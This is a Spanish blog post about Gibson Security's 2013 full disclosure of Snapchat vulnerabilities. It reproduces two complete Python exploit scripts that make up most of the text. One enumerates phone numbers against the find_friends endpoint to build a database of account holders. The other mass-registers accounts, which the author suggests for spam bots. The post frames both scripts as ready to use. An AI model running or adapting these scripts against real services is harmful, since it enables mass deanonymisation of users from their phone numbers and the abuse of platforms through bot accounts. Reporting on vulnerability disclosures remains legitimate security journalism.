Publican el API y dos exploits funcionales para Snapchat

Por si alguien no lo conoce... Snapchat es una aplicación de mensajería instantánea para iOS (iPhone) o Android que te permite enviar fotos y videos a uno o más amigos con una duración definida. Es decir, cuando las fotos o videos que has enviado alcanzan su duración límite (hasta 10 segundos) se borrarán (supuestamente) del teléfono de la persona que los recibió de manera automática.

Se calcula que actualmente hay más de 8 millones de usuarios activos y... bueno... Snapchat tiene la reputación de ser la aplicación que utilizan (sobretodo los más jóvenes) para compartir contenido sexual... uséase... sexting...

En agosto, los australianos de Gibson Security avisaron a Snapchat de varias vulnerabilidades pero la empresa se ​​mantuvo en silencio y no las solucionó. El día de navidad (toma regalo), cansados de su indiferencia, han decidido publicar el API no documentada y dos exploits totalmente funcionales:

- el primero de ellos permite con una sola petición (/ph/find_friends) saber si un número de teléfono está o no asociado a una cuenta de Snapchat. No hay que ser un lumbreras para saber que si se automatiza el proceso podemos obtener una base de datos de cuentas de Snapchat y se cree que, con una conexión de 1gb, se podría obtener una total en unas 20 horas. 


El siguiente script simplemente lee una lista de números a partir de la entrada estándar, itera a través de ellos y escribe el resultado en la salida estándar. 

Uso: python2 find_friends.py $username $password < numbers.txt > results.txt

#!/usr/bin/env python2
# python2 find_friends.py $username $password < numbers.txt > results.txt
import requests
import hashlib
import json
import sys

def request_token(auth_token, timestamp):
    secret = "iEk21fuwZApXlz93750dmW22pw389dPwOk"
    pattern = "0001110111101110001111010101111011010001001110011000110001000110"
    first = hashlib.sha256(secret + auth_token).hexdigest()
    second = hashlib.sha256(str(timestamp) + secret).hexdigest()
    bits = [first[i] if c == "0" else second[i] for i, c in enumerate(pattern)]
    return "".join(bits)

numbers = sys.stdin.read().split("\n")
base = "https://feelinsonice.appspot.com"

r = requests.post(base + "/bq/login", data={
    # These are hardcoded, just because it's easy.
    "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b",
    "timestamp": 1373209025,
    "username": sys.argv[1],
    "password": sys.argv[2]
}, headers={"User-agent": None})
auth_token, username = r.json()["auth_token"], r.json()["username"]

# We can hardcode these as well.
static = {"req_token": request_token(auth_token, 1373209025), "countryCode": "US", "timestamp": 1373209025, "username": username}

for number in numbers:
    n = json.dumps({number: "J. R. Hacker"})
    r = requests.post(base + "/ph/find_friends", data=dict(static, numbers=n), headers={"User-agent": None}).json()
    if len(r["results"]) < 1:
        continue
    sys.stdout.write("{0} -> {1}\n".format(number, r["results"][0]["name"]))
    sys.stdout.flush()

- el segundo de los exploits permite la creación masiva de cuentas en Snapchat para, por ejemplo, hacernos con un infame ejército de bots que envie spam. En esta ocasión se necesitan dos peticiones: /bq/register y /ph/registeru.


El siguiente script lee una lista de cuentas de la entrada estándar, intenta registrarlos y, a continuación, saca las cuentas registradas válidas por la salida estándar. 


El formato de la lista de cuentas debe ser de esta manera:
cuenta1: contraseña1: you1@example.org
cuenta2: contraseña2: you2@example.org
cuenta3: password3: you3@example.org
... indefinidamente
Uso: python2 bulk_register.py registered.txt
#!/usr/bin/env python2
# python2 bulk_register.py < accounts.txt > registered.txt
# format accounts.txt like `username:password:email`
import requests
import sys

accounts = [a.split(":") for a in sys.stdin.read().split("\n") if a.strip() != ""]
base = "https://feelinsonice.appspot.com"

for account in accounts:
    username, password, email = account
    reg = requests.post(base + "/bq/register", data={
        "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b",
        "timestamp": 1373209025,
        "email": email,
        "password": password,
        "age": 19,
        "birthday": "1994-11-27",
    }, headers={"User-agent": None})
    if not reg.json()["logged"]:
        continue
    nam = requests.post(base + "/ph/registeru", data={
        "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b",
        "timestamp": 1373209025,
        "email": email,
        "username": username
    }, headers={"User-agent": None})
    if not nam.json()["logged"]:
        continue
    sys.stdout.write(":".join(account) + "\n")
    sys.stdout.flush()

Full disclosure: http://gibsonsec.org/snapchat/fulldisclosure/
Fuente: Researchers publish Snapchat code allowing phone number matching after exploit disclosures ignored

1 comentarios :